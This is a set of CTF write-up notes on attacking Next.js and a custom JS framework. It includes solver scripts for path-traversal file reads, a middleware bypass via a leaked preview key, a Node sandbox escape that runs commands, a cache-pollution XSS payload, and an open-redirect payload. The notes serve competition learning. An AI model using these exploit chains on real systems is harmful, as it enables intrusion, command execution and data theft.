LFI in NEXTJS can lead to middleware bypass if we can read /app/.next/prerender-manifest.json
| Event Name | INFOBAHN CTF 2025 |
| GitHub URL | - |
| Challenge Name | PatchNotes CMS - Revenge |
Attachments
solution
Patchnotes CMS Revenge (intended)
.txt and .json files. Leak PreviewModeId from /app/.next/prerender-manifest.json.X-Prerender-Revalidate and the key we leaked in the first step.The reason why: https://github.com/vercel/next.js/blob/c274a5161845a21f32f9bf797a157a7d245cdf02/packages/next/src/server/next-server.ts#L1645C7-L1645C32https://github.com/vercel/next.js/blob/canary/packages/next/src/server/api-utils/index.ts#L89
import requests
URL = "https://patchnotes-web.challs3.infobahnc.tf/"
def fetch_preview_id():
file_path = "../../../../app/.next/prerender-manifest.json"
response = requests.get(URL + "/api/notes/read?file=" +file_path)
preview_id = response.json()["json"]["preview"]["previewModeId"]
return preview_id
def get_flag():
cmd = "/readflag > /tmp/data/flag.json"
payload = f"<script> const process = this.constructor.constructor('return process')(); const require = process.mainModule.require; console.log('Files:', require('child_process').execSync('{cmd}')); </script>"
data = {
"file": "patch-1.0.3.json",
"content": payload,
}
requests.post(URL + f"/api/notes/save", json=data)
header = {
"X-Prerender-Revalidate": fetch_preview_id()
}
requests.post(URL + f"/admin/api/preview", json={"file": "patch-1.0.3.json"}, headers=header)
flag_response = requests.get(URL + "/api/notes/read?file=flag.json")
print("Flag:", flag_response.json()["content"])
if __name__ == "__main__":
get_flag()
NextJS Local File Read if we can write plain text file (e.g. txt) we can read valid json file
| Event Name | LA CTF 2025 |
| GitHub URL | https://github.com/uclaacm/lactf-archive/tree/main/2025 |
| Challenge Name | old-site |
Attachments
You can only read valid json file example
"flag"
or
{"flag":"flag"}
or
["flag"]
solver
const REMOTE = "http://localhost:3000"
await (await fetch(`${REMOTE}/api/guestbook`, {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({
"UR MESSAGE": `//#sourceMappingURL=${encodeURIComponent("/flag.txt")}`
})
}))
let res2 = await fetch(`${REMOTE}/__nextjs_source-map?filename=file:///app/guestbook.txt`)
console.log(res2.status + ": " + await res2.text())all you need is a file with //#sourceMappingURL= in it, and then the file you want to exfilitrate (it must be valid json though, which is why the dockerfile was a bit sus and did printf "\"FLAG\"")
Custom framework (Effectual JS) cache pollution to XSS
| Event Name | Plaid CTF 2025 |
| GitHub URL | - |
| Challenge Name | ChatPPP |
References
solve
import httpx
import asyncio
import pyperclip
URL = "http://localhost:3030"
class BaseAPI:
def __init__(self, url=URL) -> None:
self.c = httpx.AsyncClient(base_url=url)
def save(self, data: dict):
return self.c.post("/api/chat/save", json=data)
class API(BaseAPI):
...
async def main():
api = API()
res = await api.save({"conversation":{
"name": "Pwn",
"messages": [
{
"key": "dupe",
"$on:$effect:0": {
"kind": "native",
"tag": "div",
"props": {},
"children": [
"pwned",
{
"kind": "native",
"tag": "img",
"props": { "src": "", "onerror": "alert(localStorage.flag)" },
},
],
},
"timestamp": "05-03-2025",
"body": "same",
"origin": "bot",
},
{
"key": "dupe",
"body": "same",
"timestamp": "05-03-2025",
"otherProps": "hi",
"origin": "body"
},
]
}})
url = str(api.c.base_url)+"/share/"+str(res.json())
# copy to clipboard
pyperclip.copy(url)
if __name__ == "__main__":
asyncio.run(main())
Author writeup
Overview of the Bugs
There are 2-3 bugs that interact here in order to make the problem work. This doesn't include the trivial bug that one can upload an arbitrary JSON object as a conversation log, nor the second trivial bug that said-conversation log is spread into the Message component.
Of the real bugs, the first, most potent one is that event handlers strip the prefix before storing themselves in the effect cache. Whereas state and effect handlers are properly prefixed with $state and $effect, event handlers do not use the $on prefix. As a consequence, a malicious event handler can collide with a state or effect handler.
This on its own is not obviously exploitable. If you try to do this, the component will error out once the $effect component runs (because it assumes the underlying object to be a LifecycleEffectContainer when in reality it is a EmitEffectContainer). These two have incompatible interface and the component will fail.
The second primary bug is that we do not properly handle duplicate keys in the reconciler. As a consequence, if two components have the same key, upon first re-reconciliation, the first component will reconcile against the original second component.
The third not-quite-bug-more-like-missing-mitigation is that user-supplied objects returned from the render function can be rendered as components. Now with these, we have enough to exploit the system.
The Exploit
Consider the two following components:
export const ChatPreview = (props: Props) => {
const hash = $hashState();
$effect((hash) => {
const el = document.querySelector(`_chat-${hash}`);
el?.scrollIntoView({ behavior: "smooth" });
}, [hash]);
return (
<div class="chat-wrapper">
<div class="chat-messages">
{ props.conversation.messages.map((msg, i) => (
<Message key={i} id={`_chat-${i}`} {...msg} />
)) }
</div>
</div>
);
}
and
export const Message = (props: MessageProps, ctx: MessageCtx) => {
const formattedTime = $effect((timestamp) => {
const date = new Date(timestamp);
return date.toLocaleTimeString(undefined, {
month: "long",
day: "numeric",
hour12: true,
hour: "numeric",
minute: "numeric",
});
}, [props.timestamp]);
return (
<div id={props.id} class="chat-message" data-origin={props.origin}>
<div class="message-time">{formattedTime}</div>
<div class="message-body"><Markdown body={props.body} /></div>
{ ctx.emits.share ? (
<div class="message-actions">
<Icon name="share" size={1.5} $on:click={ctx.emits.share} />
</div>
) : null }
</div>
)
}
If we can elide an emit with the effect, we can use it to overwrite the return value of formattedTime in Message. However, we need to get around the fact that running both the emit and the effect will crash the component. To do this, we need to render the component twice. The first time it is allowed to safely crash, the second time it must both re-render the component, and not rerender the effect. To do this, the following is needed:
$on:$effect:0, with a value of a crafted component.timestamp prop as the first. The differing props will trigger a component rerender, but the same timestamp will not trigger an effect rerender.As an example, my exploit looked like this:
{
name: "Pwn",
messages: [
{
key: "dupe",
"$on:$effect:0": {
kind: "native",
tag: "div",
props: {},
children: [
"pwned",
{
kind: "native",
tag: "img",
props: { src: "", onerror: "alert(localStorage.flag)" },
},
],
},
timestamp: "05-03-2025",
body: "same",
origin: "bot",
},
{
key: "dupe",
body: "same",
timestamp: "05-03-2025",
otherProps: "hi",
origin: "body"
},
]
}
Once you have your exploit, you can upload it as a saved conversation log. Then, point your victim to a site you control, and abuse the $hashState effect to trigger a rerender, causing the exploit to fire. For example:
window.open("<http://localhost:3030/share/{uid}#a>", "target");
setTimeout(() => window.open("<http://localhost:3030/share/{uid}#b>", "target"), 2000);
some chat from https://discordapp.com/channels/1088345765920915466/1357879830024294551/1358560578846724106
export const reconcileEmits = (id: SelfIdentity, emits: Record<string, Function> | undefined) => {
if (!emits) {
return {};
}
if (!e.effectCache.has(id)) {
e.effectCache.set(id, new ElementCache());
}
const cache = e.effectCache.get(id)!;
const result: Record<string, unknown> = Object.create(null);
for (const key in emits) {
if (!cache.has(key)) {
cache.add(key, new EmitEffectContainer());
}
const container = cache.getLatest(key)! as EmitEffectContainer;
result[key] = container.cachedFn;
container.lastResult = emits[key];
container.executed = true;
}
return result;
};e.effectCache.get(id) to return the effect of a more useful elementi was looking at that
and it didnt work in devtools
so i gave up
but i realised later when looking at smth else that its just a devtools thing but didnt bother testing again
e.effectCache is a weakmap, you needed the exact object to key into it{ id: 24 } implicitly created a new object
react developer tools
https://chrome.google.com/webstore/detail/react-developer-tools/fmkadmapgofadopljbjfkapdkoienihi
clobber default view (default view equal to main?)
https://blog.huli.tw/2022/08/21/en/corctf-2022-modern-blog-writeup/
There an Open Redirection in next auth
LineCTF 2024
we can do something like this too
const errorCode = `../../%0A/webhook.site/be08ac4b-8f65-464f-b2be-28dd00573f89`.replaceAll("-", "%2D");
<Link
href={{
pathname: `/report/error/${props.errorCode}`,
}}
className="redirect_url"
target="_blank"
>
unstable_cache interesting behaviour
In Untitled There’s an
Reading the cache handler API docs, if we can get get() to return null, it will signal to Next.js that the cache is empty for the given key and the fetch will go through. There are no NullPointerExceptions for object access in JavaScript, but what other errors can we.